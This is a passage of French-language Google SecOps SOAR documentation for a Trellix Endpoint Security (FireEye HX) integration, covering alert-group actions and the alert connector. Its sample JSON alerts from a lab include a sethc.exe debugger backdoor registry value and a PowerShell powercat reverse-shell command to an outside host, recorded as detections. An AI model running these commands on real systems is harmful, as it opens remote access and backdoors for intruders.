                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie*	L'action ne doit pas échouer ni arrêter l'exécution d'un playbook : en cas de succès : si (total) est égal à (nombre d'ID de groupe d'alertes) : "L'état d'accusé de réception de tous les groupes d'alertes a bien été mis à jour." Si certaines alertes ont été récupérées et d'autres non (le nombre d'ID fournis est supérieur au nombre total) : "Les alertes ont été récupérées pour les groupes d'alertes suivants : {succesfull_alert_groups_ids}" "Les alertes n'ont pas pu être récupérées pour les groupes d'alertes suivants : {not_succesfull_slert_group_ids}" Si aucun détail de groupe d'alertes n'a été récupéré : "Impossible de récupérer les alertes pour les ID de groupe d'alertes fournis. Veuillez vérifier les ID fournis et réessayer" L'action doit échouer et arrêter l'exécution d'un playbook : if not successful : "Failed to execute action "Get Alerts In Alerts Group" (exception.stacktrace)	Général

Type de résultat

Valeur/Description

Type

Message de sortie*

L'action ne doit pas échouer ni arrêter l'exécution d'un playbook :
en cas de succès : si (total) est égal à (nombre d'ID de groupe d'alertes) :

"L'état d'accusé de réception de tous les groupes d'alertes a bien été mis à jour."

Si certaines alertes ont été récupérées et d'autres non (le nombre d'ID fournis est supérieur au nombre total) : "Les alertes ont été récupérées pour les groupes d'alertes suivants : {succesfull_alert_groups_ids}"
"Les alertes n'ont pas pu être récupérées pour les groupes d'alertes suivants : {not_succesfull_slert_group_ids}"

Si aucun détail de groupe d'alertes n'a été récupéré :

"Impossible de récupérer les alertes pour les ID de groupe d'alertes fournis. Veuillez vérifier les ID fournis et réessayer"

L'action doit échouer et arrêter l'exécution d'un playbook :
if not successful : "Failed to execute action "Get Alerts In Alerts Group" (exception.stacktrace)

Général

Obtenir les groupes d'alertes d'hôtes

Description

Lister les groupes d'alertes associés à un hôte dans Trellix Endpoint Security. Entités acceptées : nom d'hôte, adresse IP.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Filtre de confirmation	LDD	TOUT Confirmées uniquement Non confirmées uniquement	Non	Indiquez si vous souhaitez renvoyer tous les groupes d'alertes ou uniquement ceux qui ont été reconnus/non reconnus.
Nombre maximal de groupes d'alertes à renvoyer	Integer	20	Non	Spécifiez le nombre de groupes d'alertes à renvoyer par entité. Par défaut : 20.

Nom à afficher du paramètre

Type

Valeur par défaut

Obligatoire

Description

Filtre de confirmation

LDD

TOUT

Confirmées uniquement

Non confirmées uniquement

Non

Indiquez si vous souhaitez renvoyer tous les groupes d'alertes ou uniquement ceux qui ont été reconnus/non reconnus.

Nombre maximal de groupes d'alertes à renvoyer

Integer

Non

Spécifiez le nombre de groupes d'alertes à renvoyer par entité. Par défaut : 20.

Exécuter sur

Cette action s'applique aux entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie\*	L'action ne doit pas échouer ni arrêter l'exécution d'un playbook : si des données sont disponibles pour une entité(is_success = true) : "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}". if data is not available for one(is_success = true): "Action wasn't able to retrieve alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}". Si les données ne sont pas disponibles pour toutes les entités(is_success=false) : "Aucun groupe d'alertes n'a été trouvé pour les entités fournies dans Trellix Endpoint Security". L'action doit échouer et arrêter l'exécution d'un playbook : en cas d'erreur fatale, comme des identifiants incorrects, une absence de connexion au serveur, etc. : "Erreur lors de l'exécution de l'action "Obtenir les groupes d'alertes d'hôte". Raison : {0}''.format(error.Stacktrace)	Général
Tableau du mur des cas	Colonnes : Évaluation ID du groupe d'alertes Premier événement à Dernier événement à Confirmé Nombre d'événements Détecté par	Entité

Type de résultat

Valeur/Description

Type

Message de sortie\*

L'action ne doit pas échouer ni arrêter l'exécution d'un playbook :
si des données sont disponibles pour une entité(is_success = true) : "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}".

if data is not available for one(is_success = true): "Action wasn't able to retrieve alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}".

Si les données ne sont pas disponibles pour toutes les entités(is_success=false) : "Aucun groupe d'alertes n'a été trouvé pour les entités fournies dans Trellix Endpoint Security".

L'action doit échouer et arrêter l'exécution d'un playbook :
en cas d'erreur fatale, comme des identifiants incorrects, une absence de connexion au serveur, etc. : "Erreur lors de l'exécution de l'action "Obtenir les groupes d'alertes d'hôte". Raison : {0}''.format(error.Stacktrace)

Général

Tableau du mur des cas

Colonnes :

Évaluation
ID du groupe d'alertes
Premier événement à
Dernier événement à
Confirmé
Nombre d'événements
Détecté par

Entité

Connecteurs

Connecteur d'alertes FireEye HX

Description

Le connecteur Google SecOps SOAR Trellix Endpoint Security Alerts ingère les alertes générées sur le serveur Trellix Endpoint Security.

Le connecteur se connecte régulièrement au point de terminaison du serveur de l'API Trellix Endpoint Security et extrait une liste des alertes générées pour une période spécifique. Si de nouvelles alertes sont présentes, le connecteur crée des alertes Google SecOps SOAR basées sur les alertes Trellix Endpoint Security et enregistre le code temporel du connecteur comme heure de la dernière alerte ingérée. Lors de la prochaine exécution du connecteur, celui-ci n'interrogera l'API Trellix Endpoint Security que pour les alertes créées à partir du code temporel (code temporel plus un décalage "technique" pour éviter que le connecteur ne soit "bloqué"). Si aucune nouvelle alerte n'est trouvée, mettez fin à l'exécution en cours.

Autorisations des API

Le connecteur Trellix Endpoint Security Alerts utilise les mêmes méthodes d'authentification et autorisations d'API que l'intégration FireEye existante. Pour fonctionner avec les alertes FireEye, le compte qui sera utilisé pour l'intégration doit disposer du rôle "Analyste API" ou "Administrateur API".

Configurer le connecteur d'alertes FireEye HX dans Google SecOps

Pour obtenir des instructions détaillées sur la configuration d'un connecteur dans Google SecOps, consultez Configurer le connecteur.

Paramètres du connecteur

Utilisez les paramètres suivants pour configurer le connecteur :

Nom à afficher du paramètre	Type	Valeur par défaut	Obligatoire	Description
Nom du champ de produit	Chaîne	ProductName	Oui	Description définie par la plate-forme. Ce champ est immuable.
Nom du champ d'événement	Chaîne	AlertName	Oui	Description définie par la plate-forme. Ce champ est immuable.
Nom du champ "Environnement"	Chaîne	""	Non	Décrit le nom du champ dans lequel le nom de l'environnement est stocké. Si le champ "environment" est introuvable, l'environnement est "".
Modèle d'expression régulière de l'environnement	Chaîne	.*	Non	Expression régulière à exécuter sur la valeur trouvée dans le champ "Nom du champ d'environnement". La valeur par défaut est ".*" pour tout capturer et renvoyer la valeur inchangée. Permet à l'utilisateur de manipuler le champ "environment" (environnement) à l'aide de la logique des expressions régulières Si le modèle d'expression régulière est nul ou vide, ou si la valeur d'environnement est nulle, le résultat final de l'environnement est "".
Délai avant expiration du script (en secondes)	Integer	180	Oui	Délai avant expiration du processus Python exécutant le script actuel.
Racine de l'API	Chaîne	https://x.x.x.x:<port>	Oui	URL racine de l'API du serveur Trellix Endpoint Security
Nom d'utilisateur	Chaîne	N/A	Oui	Utilisateur Trellix Endpoint Security pour l'authentification
Mot de passe	Mot de passe	N/A	Oui	Mot de passe de l'utilisateur Trellix Endpoint Security pour l'authentification
Vérifier le protocole SSL	Case à cocher	Cochée	Oui	Si spécifié, le connecteur vérifie si Trellix Endpoint Security est configuré avec un certificat SSL valide. Si le certificat n'est pas valide, le connecteur renvoie une erreur.
Décalage horaire en heures	Integer	24	Oui	Récupérez les alertes des X dernières heures.
Nombre maximal d'alertes par cycle	Integer	25	Oui	Nombre d'alertes à traiter lors d'une exécution du connecteur.
Type d'alerte	Chaîne	active_threat	Non	Spécifiez les types d'alertes Trellix Endpoint Security à ingérer. Par défaut, la valeur est définie sur "active_threat" pour renvoyer les alertes à l'état "ALERT" et "QUARANTINED/partial_block". ALERT est un autre paramètre valide qui ne renvoie que les alertes ouvertes.
Utiliser la liste blanche comme liste noire	Case à cocher	Décochée	Oui	Si cette option est activée, la liste blanche sera utilisée comme liste noire.
Adresse du serveur proxy	IP_OR_HOST	N/A	Non	Serveur proxy à utiliser pour la connexion.
Nom d'utilisateur du serveur proxy	Chaîne	N/A	Non	Nom d'utilisateur du serveur proxy.
Mot de passe du serveur proxy	Mot de passe	N/A	Non	Mot de passe du serveur proxy.

Règles du connecteur

Les listes noires devraient être compatibles, mais le connecteur utilise la logique des listes blanches par défaut.
Règles de liste blanche : utilisées par défaut.
Compatibilité avec les proxys : le connecteur est compatible avec les proxys.
Default ConnectorRules

RuleType(Whitelist \ Blacklist)	RuleName (chaîne)
WhiteList	Dans cette section, indiquez les alertes à ingérer en fonction des attributs de source et de sous-type d'alerte. Par exemple, "IOC" pour les alertes d'indicateur, "MAL AV" pour ingérer uniquement les alertes de logiciel malveillant avec le sous-type "AV", ou "MAL" pour ingérer toutes les alertes de logiciel malveillant, quel que soit le sous-type. Pour ingérer toutes les alertes, supprimez tous les éléments de la section "Liste blanche".

RuleType(Whitelist \ Blacklist)

RuleName (chaîne)

WhiteList

Dans cette section, indiquez les alertes à ingérer en fonction des attributs de source et de sous-type d'alerte. Par exemple, "IOC" pour les alertes d'indicateur, "MAL AV" pour ingérer uniquement les alertes de logiciel malveillant avec le sous-type "AV", ou "MAL" pour ingérer toutes les alertes de logiciel malveillant, quel que soit le sous-type. Pour ingérer toutes les alertes, supprimez tous les éléments de la section "Liste blanche".

Vous avez encore besoin d'aide ? Obtenez des réponses de membres de la communauté et de professionnels Google SecOps.